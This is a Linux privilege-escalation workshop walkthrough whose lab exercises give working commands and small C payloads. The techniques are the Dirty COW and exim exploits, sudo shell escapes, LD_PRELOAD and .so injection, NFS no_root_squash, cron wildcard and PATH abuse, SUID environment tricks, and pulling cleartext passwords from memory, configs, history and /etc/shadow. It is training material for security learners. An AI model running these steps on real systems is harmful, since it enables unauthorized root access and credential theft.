Windows / Linux Local Privilege Escalation Workshop – Lab Exercises Walkthrough

(Day 2)

Sagi Shahar

Linux Lab Exercises

Exercise 1 – Kernel

Detection

Linux VM

1. In command prompt type:
   /home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh
2. From the output, notice that the OS is vulnerable to "dirtycow".

Exploitation

Linux VM

1. In command prompt type:
   gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w
2. In command prompt type: ./c0w
3. In command prompt type: passwd
4. In command prompt type: id

Exercise 2 – Daemons

Detection

Linux VM

1. In command prompt type: dpkg -l | grep -i exim
2. From the output, notice that exim's version is below 4.86.2.
3. In command prompt type: exim -bV -v | grep -i perl
4. From the output, notice that exim was compiled with Perl support.
5. In command prompt type: head /etc/exim.conf
6. From the output, notice that the configuration contains the "perl_startup" option.

Exploitation

Linux VM

1. In command prompt type: /home/user/tools/exim/cve-2016-1531.sh
2. In command prompt type: id

Exercise 3 – Password Mining (Memory)

Exploitation

Kali VM

1. In command prompt type: msfconsole
2. In Metasploit (msf > prompt) type: use auxiliary/server/ftp
3. In Metasploit (msf > prompt) type: set FTPUSER user
4. In Metasploit (msf > prompt) type: set FTPPASS password321
5. In Metasploit (msf > prompt) type: run

Linux VM

1. In command prompt type: ftp [Kali VM IP Address]
2. In ftp, type: user
3. In ftp, type: password321
4. In ftp press ctrl-z
5. In command prompt type: ps -ef | grep ftp
6. Make note of the PID of the ftp process.
7. In command prompt type: gdb -p [FTP PID]
8. In GDB, (gdb) prompt, type: info proc mappings
9. From the output, note the start and end memory addresses of the “[heap]”
10. In GDB. (gdb) prompt, type: q
11. In GDB, (gdb) prompt, type: dump memory /tmp/mem [Start Address] [End Address]
12. In GDB. (gdb) prompt, type: q
13. In command prompt type: strings /tmp/mem | grep passw
14. From the output, note the credentials in clear-text.

Exercise 4 – Password Mining (Configuration Files)

Exploitation

Linux VM

1. In command prompt type: cat /home/user/myvpn.ovpn
2. From the output, make note of the value of the “auth-user-pass” directive.
3. In command prompt type: cat /etc/openvpn/auth.txt
4. From the output, make note of the clear-text credentials.
5. In command prompt type: cat /home/user/.irssi/config | grep -i passw
6. From the output, make note of the clear-text credentials.

Exercise 5 – Password Mining (History)

Exploitation

Linux VM

1. In command prompt type: cat ~/.bash_history | grep -i passw
2. From the output, make note of the clear-text credentials.

Exercise 6 – Sudo (Shell Escape Sequences)

Detection

Linux VM

1. In command prompt type: sudo -l
2. From the output, notice the list of programs that can run via sudo.

Exploitation

Linux VM

1. In command prompt type any of the following:
    a. sudo find /bin -name nano -exec /bin/sh \;
    b. sudo awk 'BEGIN {system("/bin/sh")}'
    c. echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
    d. sudo vim -c '!sh'

Exercise 7 – Sudo (Abusing Intended Functionality)

Detection

Linux VM

1. In command prompt type: sudo -l
2. From the output, notice the list of programs that can run via sudo.

Exploitation

Linux VM

1. In command prompt type:
   sudo apache2 -f /etc/shadow
2. From the output, copy the root hash.

Kali VM

1. Open command prompt and type:
   echo '[Pasted Root Hash]' > hash.txt
2. In command prompt type:
   john --wordlist=/usr/share/wordlists/nmap.lst hash.txt
3. From the output, notice the cracked credentials.

Exercise 8 – Sudo (LD_PRELOAD)

Detection

Linux VM

1. In command prompt type: sudo -l
2. From the output, notice that the LD_PRELOAD environment variable is intact.

Exploitation

1. Open a text editor and type:

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setgid(0);
        setuid(0);
        system("/bin/bash");
}
```

2. Save the file as x.c
3. In command prompt type:
   gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
4. In command prompt type:
   sudo LD_PRELOAD=/tmp/x.so apache2
5. In command prompt type: id

Exercise 9 – NFS

Detection

Linux VM

1. In command line type:
   cat /etc/exports
2. From the output, notice that “no_root_squash” option is defined for the “/tmp” export.

Exploitation

Kali VM

1. Open command prompt and type:
   showmount -e [Linux VM IP Address]
2. In command prompt type: mkdir /tmp/1
3. In command prompt type: mount -o rw,vers=2 [Linux VM IP Address]:/tmp /tmp/1
   In command prompt type:
   echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
4. In command prompt type: gcc /tmp/1/x.c -o /tmp/1/x
5. In command prompt type: chmod +s /tmp/1/x

Linux VM

1. In command prompt type: /tmp/x
2. In command prompt type: id

Exercise 10 – Cron (Path)

Detection

Linux VM

1. In command prompt type: cat /etc/crontab
2. From the output, notice the value of the “PATH” variable.

Exploitation

Linux VM

1. In command prompt type:
   echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
2. In command prompt type: chmod +x /home/user/overwrite.sh
3. Wait 1 minute for the Bash script to execute.
4. In command prompt type: /tmp/bash -p
5. In command prompt type: id

Exercise 11 – Cron (Wildcards)

Detection

Linux VM

1. In command prompt type: cat /etc/crontab
2. From the output, notice the script “/usr/local/bin/compress.sh”
3. In command prompt type: cat /usr/local/bin/compress.sh
4. From the output, notice the wildcard (*) used by ‘tar’.

Exploitation

Linux VM

1. In command prompt type:
   echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
2. touch /home/user/--checkpoint=1
3. touch /home/user/--checkpoint-action=exec=sh\ runme.sh
4. Wait 1 minute for the Bash script to execute.
5. In command prompt type: /tmp/bash -p
6. In command prompt type: id

Exercise 12 – Cron (File Overwrite)

Detection

Linux VM

1. In command prompt type: cat /etc/crontab
2. From the output, notice the script “overwrite.sh”
3. In command prompt type: ls -l /usr/local/bin/overwrite.sh
4. From the output, notice the file permissions.

Exploitation

Linux VM

1. In command prompt type:
   echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
2. Wait 1 minute for the Bash script to execute.
3. In command prompt type: /tmp/bash -p
4. In command prompt type: id

Exercise 13 – File Permissions (Suid Binary – .so Injection)

Detection

Linux VM

1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null
2. From the output, make note of all the SUID binaries.
3. In command line type:
   strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
4. From the output, notice that a .so file is missing from a writable directory.

Exploitation

Linux VM

5. In command prompt type: mkdir /home/user/.config
6. Open a text editor and type:

```
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

7. Save the file as libcalc.c
8. In command prompt type:
   gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
9. In command prompt type: /usr/local/bin/suid-so
10. In command prompt type: id

Exercise 14 – File Permissions (SUID Binary – Symlink)

Detection

Linux VM

1. In command prompt type: dpkg -l | grep nginx
2. From the output, notice that the installed nginx version is below 1.6.2-5+deb8u3.

Exploitation

Linux VM – Terminal 1

1. For this exploit, it is required that the user be www-data. To simulate this escalate to root by typing: su
2. Once escalated to root, in command prompt type: su -l www-data
3. In command prompt type: /home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
4. At this stage, the system waits for logrotate to execute. In order to speed up the process, this will be simulated by connecting to the Linux VM via a different terminal.

Linux VM – Terminal 2

1. Once logged in, type: su
2. As root, type the following: invoke-rc.d nginx rotate >/dev/null 2>&1
3. Switch back to the previous terminal.

Linux VM – Terminal 1

1. From the output, notice that the exploit continued its execution.
2. In command prompt type: id

Exercise 15 – File Permissions (SUID Binary – Environment Variables #1)

Detection

Linux VM

1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null
2. From the output, make note of all the SUID binaries.
3. In command prompt type: strings /usr/local/bin/suid-env
4. From the output, notice the functions used by the binary.

Exploitation

Linux VM

1. In command prompt type:
   echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
2. In command prompt type: gcc /tmp/service.c -o /tmp/service
3. In command prompt type: export PATH=/tmp:$PATH
4. In command prompt type: /usr/local/bin/suid-env
5. In command prompt type: id

Exercise 16 – File Permissions (SUID Binary – Environment Variables #2)

Detection

Linux VM

1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null
2. From the output, make note of all the SUID binaries.
3. In command prompt type: strings /usr/local/bin/suid-env
4. From the output, notice the functions used by the binary.

Exploitation Method #1

Linux VM

1. In command prompt type:
   function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
2. In command prompt type:
   export -f /usr/sbin/service
3. In command prompt type: /usr/local/bin/suid-env2

Exploitation Method #2

Linux VM

1. In command prompt type:
   env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'